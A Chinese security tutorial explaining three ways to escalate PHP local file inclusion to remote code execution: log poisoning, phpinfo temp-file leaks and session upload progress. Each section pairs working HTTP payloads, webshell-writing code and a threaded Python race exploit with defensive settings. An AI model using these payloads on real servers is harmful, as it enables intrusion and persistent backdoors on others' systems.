在PHP应用的某些漏洞场景中,本地文件包含(Local File Inclusion,简称LFI)漏洞可被攻击者利用,通过特定的文件(如日志文件、phpinfo页面生成的临时文件或PHP会话文件)实现远程代码执行(Remote Code Execution,简称RCE)。本文将详细剖析通过日志文件、phpinfo页面和PHP Session上传进度机制实现RCE的方法,带你解锁新姿势。
一、日志文件包含实现RCE
1.1 漏洞成因
日志文件包含攻击利用了Web服务器(如Apache或Nginx)记录客户端请求的特性。服务器通常将客户端的HTTP请求信息(如URL、User-Agent、Referer等)写入访问日志或错误日志(如/var/log/apache2/access.log或/var/log/nginx/error.log)。如果PHP应用存在未过滤的LFI漏洞,攻击者可以通过以下方式实现RCE:
- 客户端输入记录:服务器日志可能记录客户端提交的恶意数据(如User-Agent头中的PHP代码)。
- LFI漏洞:PHP脚本通过
include()或require()函数直接使用用户输入(如$_GET['file'])作为文件路径,且未进行严格的路径验证,导致攻击者可包含任意文件。 - PHP解析特性:日志文件中的恶意PHP代码在被包含时会被PHP引擎解析并执行。
典型场景:
- 服务器未对客户端输入进行过滤,直接记录到日志。
- LFI漏洞允许攻击者通过路径穿越(如
../../)访问日志文件。
1.2 适用条件
- LFI漏洞存在:PHP应用中存在未过滤的文件包含点,例如:
include($_GET['file']); - 日志记录客户端输入:Web服务器配置(如Apache的
CustomLog或Nginx的access_log)记录了User-Agent、Referer或URL参数。 - 日志文件可读:PHP进程对日志文件(如
/var/log/apache2/access.log)具有读权限。 - PHP解析生效:日志文件内容在被包含时能被PHP引擎解析为代码(未被转义或以纯文本处理)。
1.3 利用方法
-
注入恶意PHP代码到日志: 攻击者通过HTTP请求将恶意PHP代码注入服务器日志。例如,修改User-Agent头:
GET /index.php HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']); ?>假设Apache配置为记录User-Agent,日志文件
/var/log/apache2/access.log将包含:192.168.1.100 - - [20/Jun/2025:19:49:00 +0800] "GET /index.php HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>" -
通过LFI包含日志文件: 攻击者利用LFI漏洞,构造请求包含日志文件:
GET /lfi.php?file=/var/log/apache2/access.log HTTP/1.1 Host: target.com如果
lfi.php包含如下代码:include($_GET['file']);服务器将解析日志文件,执行其中的
<?php system($_GET['cmd']); ?>。 -
执行远程命令: 攻击者通过附加参数执行系统命令:
GET /lfi.php?file=/var/log/apache2/access.log&cmd=whoami HTTP/1.1 Host: target.com服务器将执行
system('whoami'),返回当前用户(如www-data)。 -
高级利用: 为提高稳定性,攻击者可能注入更复杂的代码,例如:
User-Agent: <?php file_put_contents('/var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>'); ?>通过LFI包含日志后,生成持久化WebShell(
shell.php),随后通过以下请求执行命令:POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=id
1.4 防御措施
- 限制日志记录内容:在Web服务器配置中,避免记录User-Agent、Referer等客户端可控字段,或对输入进行严格转义。
- 限制日志文件权限:将日志文件(如
/var/log/apache2/access.log)的权限设置为仅系统用户可读,防止PHP进程访问。 - 过滤LFI参数:对文件包含参数使用白名单验证,仅允许特定文件路径(如
include('pages/' . basename($_GET['file']));)。 - 禁用危险函数:在
php.ini中通过disable_functions禁用system()、exec()等高危函数。
二、通过phpinfo页面实现RCE
2.1 漏洞成因
phpinfo()函数用于展示PHP环境的详细配置信息,包括全局变量(如$_FILES)。当PHP启用file_uploads功能时,上传的文件会被临时存储在系统临时目录(如/tmp/phpXXXXXX)。攻击者可通过以下方式实现RCE:
- 文件上传机制:上传包含恶意PHP代码的文件,存储为临时文件。
- phpinfo页面泄露:
phpinfo()页面显示$_FILES变量,泄露临时文件路径。 - LFI漏洞:通过LFI包含临时文件,执行其中的恶意代码。
典型场景:
- 开发或调试环境中存在
phpinfo.php页面。 - LFI漏洞允许访问临时目录(如
/tmp)。 - 服务器未及时清理临时文件。
2.2 适用条件
- LFI漏洞存在:PHP应用允许用户输入文件路径,且未限制路径穿越。
- file_uploads启用:
php.ini中file_uploads = On,允许文件上传。 - phpinfo页面可访问:目标服务器存在
phpinfo()页面,且未限制访问。 - 临时文件可读:PHP进程对临时目录(如
/tmp)具有读权限。 - 临时文件未被快速清理:系统未配置立即删除上传的临时文件。
2.3 利用方法
-
构造恶意文件上传请求: 攻击者向
phpinfo.php发送包含恶意PHP代码的文件:POST /phpinfo.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: <length> ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="malicious.txt" Content-Type: text/plain <?php system($_POST['cmd']); ?> ------WebKitFormBoundary--文件被存储为临时文件,如
/tmp/php3D9f1。 -
通过phpinfo获取临时文件路径: 访问
phpinfo.php,查看$_FILES变量:$_FILES['file'] => array ( 'name' => 'malicious.txt', 'type' => 'text/plain', 'tmp_name' => '/tmp/php3D9f1', 'error' => 0, 'size' => 123, )攻击者获取临时文件路径
/tmp/php3D9f1。 -
利用LFI包含临时文件: 构造LFI请求:
GET /lfi.php?file=/tmp/php3D9f1 HTTP/1.1 Host: target.com服务器包含并执行
/tmp/php3D9f1中的<?php system($_POST['cmd']); ?>。 -
执行远程命令: 攻击者通过POST请求执行命令:
POST /lfi.php?file=/tmp/php3D9f1 HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=whoami服务器返回
www-data。 -
高级利用: 为持久化控制,攻击者可上传以下代码:
<?php file_put_contents('/var/www/html/shell.php', '<?php system($_POST["cmd"]); ?>'); ?>通过LFI执行后,生成
shell.php,随后通过POST请求调用:POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=whoami
2.4 防御措施
- 禁用phpinfo页面:生产环境中移除
phpinfo.php或通过.htaccess限制访问(如Deny from all)。 - 禁用file_uploads:在
php.ini中设置file_uploads = Off,若无需文件上传功能。 - 清理临时文件:配置系统定期清理
/tmp目录,或设置upload_tmp_dir到不可访问目录。 - LFI过滤:对文件包含参数进行白名单验证,防止路径穿越。
- 限制临时文件权限:确保PHP进程无法读取非预期临时文件。
三、通过PHP Session上传进度实现RCE
3.1 漏洞成因
PHP的PHP_SESSION_UPLOAD_PROGRESS功能用于跟踪文件上传进度。当session.upload_progress.enabled = On时,PHP会在用户上传文件时将进度信息写入会话文件(如/var/lib/php/sessions/sess_<PHPSESSID>)。攻击者可通过以下方式实现RCE:
- 可控会话文件:攻击者通过
PHP_SESSION_UPLOAD_PROGRESS参数注入恶意PHP代码到会话文件。 - LFI漏洞:通过路径穿越包含会话文件,执行其中的代码。
- 持久化WebShell:会话文件中的代码可写入持久化WebShell。
典型场景:
- 目标启用
session.upload_progress.enabled。 - LFI漏洞允许访问会话文件目录。
- 攻击者可控制
PHPSESSID,生成可预测的会话文件。
3.2 适用条件
- LFI漏洞存在:PHP应用未过滤文件包含参数。
- session.upload_progress启用:
php.ini中session.upload_progress.enabled = On。 - 会话文件可读:PHP进程对会话文件目录(如
/var/lib/php/sessions)具有读权限。 - 可控PHPSESSID:攻击者可通过Cookie设置自定义
PHPSESSID。 - 文件上传支持:服务器接受multipart/form-data请求。
3.3 利用方法
-
构造恶意上传请求: 攻击者设置
PHPSESSID并发送包含恶意代码的上传请求:POST /index.php HTTP/1.1 Host: target.com Cookie: PHPSESSID=balalala Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: <length> ------WebKitFormBoundary Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php file_put_contents('/var/www/html/xiamao.php', '<?php system($_POST["cmd"]); ?>'); ?> ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="dummy.txt" Content-Type: text/plain Dummy content ------WebKitFormBoundary--这会在
/var/lib/php/sessions/sess_balalala写入恶意代码。 -
通过LFI包含会话文件: 攻击者构造LFI请求:
GET /manage.php?file=../../../../../../../../var/lib/php/sessions/sess_balalala HTTP/1.1 Host: target.com Cookie: PHPSESSID=balalala服务器执行会话文件中的代码,生成
xiamao.php。 -
访问WebShell: 攻击者通过POST请求调用
xiamao.php:POST /xiamao.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=whoami -
自动化利用脚本: 以下Python脚本实现自动化攻击:
import io import sys import requests import threading # 初始化变量 sessid = 'balalala' shell_filename = 'xiamao.php' ip = '192.168.1.116' def POST(session): """持续注入恶意代码到会话文件""" while True: f = io.BytesIO(b'a' * 1024 * 50) # 触发上传进度 session.post( f'http://{ip}/index.php', data={ "PHP_SESSION_UPLOAD_PROGRESS": f"""<?php echo 'fcb_xiamao'; file_put_contents('/var/www/html/{shell_filename}', '<?php system($_POST["cmd"]); ?>');?>""" }, files={"file": ('filename', f)}, cookies={'PHPSESSID': sessid} ) def READ(): """包含会话文件并验证WebShell""" session = requests.Session() session.post(f'http://{ip}/manage.php', data={ "username": "admin", "password": "transorbital1" }) session_id = session.cookies.get('PHPSESSID') while True: response = session.get( f'http://{ip}/manage.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}' ) if "fcb_xiamao" not in response.text: continue res_she = session.post( f'http://{ip}/{shell_filename}', data={'cmd': 'system("whoami");'} ) if res_she.status_code == 200 and 'www-data' in res_she.text: print(f"✅ WebShell 已部署:http://{ip}/{shell_filename}") print("密码参数:cmd") print(f"Cookie: PHPSESSID={session_id}") sys.exit(0) if __name__ == "__main__": with requests.session() as session: t1 = threading.Thread(target=POST, args=(session,)) t1.daemon = True t1.start() READ()
3.4 防御措施
- 禁用session.upload_progress:在
php.ini中设置session.upload_progress.enabled = Off。 - 限制会话文件权限:确保
/var/lib/php/sessions仅系统用户可读。 - LFI过滤:对文件包含参数进行白名单验证。
- 验证上传内容:检查multipart/form-data请求,过滤恶意
PHP_SESSION_UPLOAD_PROGRESS值。 - 随机化PHPSESSID:避免攻击者控制会话ID。
总结
日志文件、phpinfo页面和PHP Session上传进度机制是利用LFI漏洞实现RCE的三大典型途径。日志包含利用服务器记录客户端输入的特性,注入恶意PHP代码;phpinfo利用文件上传和信息泄露获取临时文件路径;Session利用上传进度功能注入代码到会话文件。三者均需LFI漏洞配合,分别依赖日志记录、file_uploads启用和session.upload_progress配置。防御关键在于禁用不必要功能、严格过滤输入、限制文件权限及加强监控,确保PHP应用安全。
原文 https://blog.csdn.net/2301_79518550/article/details/145916657